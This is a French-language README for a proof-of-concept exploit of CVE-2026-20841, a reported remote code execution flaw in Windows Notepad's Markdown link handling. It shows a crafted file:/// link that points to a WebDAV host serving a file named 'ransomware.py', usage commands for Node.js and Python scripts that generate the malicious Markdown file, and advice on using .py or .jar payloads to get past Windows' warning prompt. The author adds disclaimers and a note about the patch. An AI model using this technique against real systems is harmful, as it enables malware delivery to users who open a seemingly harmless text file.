CVE-2026-20841 PoC

PoC de la vulnérabilité « Windows Notepad RCE ».

Avertissements

1. Je ne suis PAS celui qui a découvert cette vulnérabilité. Merci aux auteurs originaux listés sur la page de divulgation officielle. J'ai simplement recréé le PoC selon la description.
2. Personnellement, je ne pense pas que cette vulnérabilité soit aussi grave qu'elle n'y paraît. Il faut plus d'un clic pour la déclencher, à moins que certains critères soient satisfaits sur le système cible. Veuillez consulter la section Critères et limites. J'ai recréé ce PoC parce qu'il est très digne d'un mème. Un « Notepad RCE », ça semble totalement dingue.

Description

La « vulnérabilité » est simple. Le moteur Markdown du Bloc-notes Windows ne se soucie pas des protocoles d'URL obscurs. En tant qu'analyste de malwares, j'ai lu de nombreux rapports sur le déploiement de payloads via WebDAV et SMB. D'après ce document, on peut abuser du protocole file:/// et créer une URL qui pointe vers un fichier sur un serveur WebDAV/SMB.

[BadLink](file:///\\webdav-payload-host@5005\DavWWWRoot\ransomware.py)

Utilisation

J'ai créé deux scripts. Un en Node.js et l'autre en Python. Les deux créent un fichier Markdown pointant vers un payload WebDAV. Vous pouvez utiliser les payloads d'exemple dans le dossier sample-payloads.

Node.js

node poc.js <webdav-server> <port> <payload/path/on/server>

Python

python poc.py <webdav-server> <port> <payload/path/on/server>

Le résultat (poc.md) apparaîtra dans le répertoire courant.

Critères et limites

1. La plupart des extensions de fichiers de payload (par ex. .exe, .lnk, .vbs, ...) déclencheront toujours un avertissement intégré malgré la vulnérabilité de l'application Bloc-notes. L'avertissement vient de Windows lui-même. Au moins, tout ce que j'ai testé et qui peut mener à l'exécution de code sur une installation par défaut (OOB) affiche cet avertissement obligatoire.
   

2. Si l'appareil cible dispose de Python ou Java installé, vous pouvez utiliser un payload .py ou .jar pour contourner la pop-up d'avertissement.

Après l'application du correctif

Cliquer sur le lien affiche désormais un nouvel avertissement contextuel.

Divers

Vous pouvez trouver la version vulnérable du Bloc-notes Windows sur Uptodown. N'oubliez pas de vérifier la signature numérique de l'installeur et de vous assurer qu'elle provient de Microsoft. De plus, vous devriez tester ce PoC uniquement dans une machine virtuelle.

Restez prudent et amusez-vous bien !